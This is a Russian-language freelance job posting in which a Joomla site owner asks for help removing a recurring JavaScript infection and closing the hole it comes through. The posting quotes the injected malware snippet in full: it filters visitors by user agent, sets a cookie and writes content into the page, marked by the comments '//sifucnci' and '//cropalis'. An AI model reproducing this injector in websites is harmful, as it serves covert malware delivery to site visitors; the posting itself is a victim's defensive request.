Почистить сайт от вирусов и залатать дырку

Алина15 лет в сервисе
Данные заказчика будут вам доступны после подачи заявки
26.02.2014

Есть сайт на Джумла 2.5

заразился сайт известным вирусом который во все .JS файлы прописывает следующий код:

//sifucnci

(function(){

function stripos (f_haystack, f_needle, f_offset) {

var haystack = (f_haystack + '').toLowerCase();

var needle = (f_needle + '').toLowerCase();

var index = 0;

if ((index = haystack.indexOf(needle, f_offset)) !== -1) {

return index;

}

return false;

}

function nerdglobus(){

var maloArticulo = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Maxthon','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus','MSIE 6.1','MSIE 6.01','MSIE 6.0b','MSIE 6.0','rv:11.0'];

var hermanKA = false;

for (var i in maloArticulo) {

if (stripos(navigator.userAgent, maloArticulo)) {

hermanKA = true;

break;

}

}

return hermanKA;

}

function setCookie(name, value, expires) {

var date = new Date( new Date().getTime() + expires*1000 );

document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();

}

function getCookie(name) {

var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));

return matches ? decodeURIComponent(matches[1]) : undefined;

}

if (!nerdglobus()) {

var cookie = getCookie('media91uki08tr43ma18h');

if (cookie == undefined) {

setCookie('media91uki08tr43ma18h', true, 260001);

document.write(''+'');

}

};

})();

//cropalis

По инету можно уйма инфы найти про этот вирус по маске поиска //cropalis или //sifucnci

Как результат перестали в админке работать кнопки типа сохранить применить и прочее

Сайт гугл добавил в базу с вредносным ПО

Цель: почистить весь сайт от вредноносного кода

Найти дыру по которой идёт заливка и залатать (так как руками уже раз чистили, все пароли меняли на сайте от бд и от хостинга) через какаоето время снова всё заражалось

Поставить защиту на сайт (вернее всего это простая защита от доступа к админке)

Если есть вопросы - спрашивайте

Не срочно. Цены нужны адекватные

Спасибо за внимание

Заявки фрилансеров